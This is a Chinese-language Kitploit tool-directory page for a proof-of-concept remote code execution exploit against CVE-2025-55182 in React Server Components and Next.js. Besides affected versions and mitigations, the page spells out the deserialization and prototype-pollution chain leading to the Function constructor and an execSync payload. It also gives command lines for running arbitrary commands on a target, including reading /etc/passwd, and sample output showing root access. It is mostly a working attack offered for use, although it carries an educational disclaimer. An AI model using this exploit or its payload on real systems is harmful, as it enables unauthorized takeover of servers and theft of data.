Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182_PoC — 针对 CVE‑2025‑55182 的 RCE 概念验证,利用 Next.js App Router 上的 React Flight 协议。 | Kitploit
工具/GitHubGitHub/rl0x01/cve-2025-55182_poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubrl0x01/cve-2025-55182_poc

CVE-2025-55182_PoC

针对 CVE‑2025‑55182 的 RCE 概念验证,利用 Next.js App Router 上的 React Flight 协议。

查看仓库
18个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 - React Server Components 远程代码执行 PoC

作者: rl0x01

描述

CVE-2025-55182 是一个通过 Flight 协议影响 React Server Components 的严重(CVSS 10.0)**远程代码执行(RCE)**漏洞。

受影响版本

Next.jsReact
14.3.0-canary.77 至 15.0.419.0.0
15.1.1-canary.0 至 15.1.819.1.0
15.2.0-canary.0 至 15.2.519.1.1
15.3.0-canary.0 至 15.3.519.2.0
15.4.0-canary.0 至 15.4.7
15.5.1-canary.0 至 15.5.6
16.0.0-canary.0 至 16.0.6

已修复版本

Next.js
15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7+

漏洞利用机制

  1. 使用 $@ 获取原始 Chunk 引用
  2. 通过 $1:__proto__:then 将 .then 覆盖为 Chunk.prototype.then
  3. 将 status 设置为 resolved_model 以触发 initializeModelChunk
  4. 使用 $B1337 触发 Blob 反序列化
  5. 将 _formData.get 指向 Function 构造函数
  6. _prefix 包含要执行的 JS 代码

代码通过以下方式执行:

root@kitploit:~
Function("throw new Error(require('child_process').execSync('COMMAND').toString());//1337")

安装

root@kitploit:~
pip install -r requirements.txt

使用方法

检查目标是否存在漏洞

root@kitploit:~
python cve_2025_55182_poc.py https://target.com --check-only

执行命令

root@kitploit:~
# Default command (id)
python cve_2025_55182_poc.py https://target.com

# Custom command
python cve_2025_55182_poc.py https://target.com -c "whoami"
python cve_2025_55182_poc.py https://target.com -c "cat /etc/passwd"
python cve_2025_55182_poc.py https://target.com -c "dir C:\\"

选项

漏洞测试环境

root@kitploit:~
cd vulnerable-app
npm install
npm run dev
# Server at http://localhost:3000

示例输出

root@kitploit:~
+======================================================================+
|  CVE-2025-55182 - React Server Components RCE                     |
|  React Flight Protocol Deserialization Vulnerability               |
+======================================================================+
[*] Affected: React 19.0.0-19.2.0 / Next.js 14.3-16.0.6
[*] CVSS Score: 10.0 (CRITICAL)
[*] Author: rl0x01

[*] Target: http://localhost:3000
[*] Timeout: 15s

[1/2] Checking vulnerability...
[+] VULNERABLE! RCE Confirmed - Output received

[2/2] Executing command: whoami
[+] Payload sent!

============================================================
RESULT: whoami
============================================================
root
============================================================

项目结构

root@kitploit:~
CVE-2025-55182/
├── cve_2025_55182_poc.py    # Main exploit script
├── requirements.txt          # Python dependencies
├── README.md                 # Documentation
└── vulnerable-app/           # Vulnerable Next.js app for testing
    ├── package.json
    ├── next.config.js
    └── app/
        ├── layout.js
        ├── page.js
        └── actions.js

免责声明

⚠️ 本工具仅供教育和授权安全测试目的使用。

未经授权将此工具用于你不拥有或未获明确许可测试的系统是违法的。

缓解措施

  1. 更新 Next.js 至 15.0.5+、15.1.9+、15.2.6+、15.3.6+、15.4.8+、15.5.7+ 或 16.0.7+
  2. 更新 React 至已修复版本
  3. 实施 WAF 规则以阻止恶意的 Flight 协议负载
下载工具
选项描述
url目标 URL(必填)
-c, --command要执行的命令(默认:id)
--check-only仅检查漏洞
-t, --timeout超时时间(秒)(默认:15)
-v, --verbose详细输出
--raw显示原始响应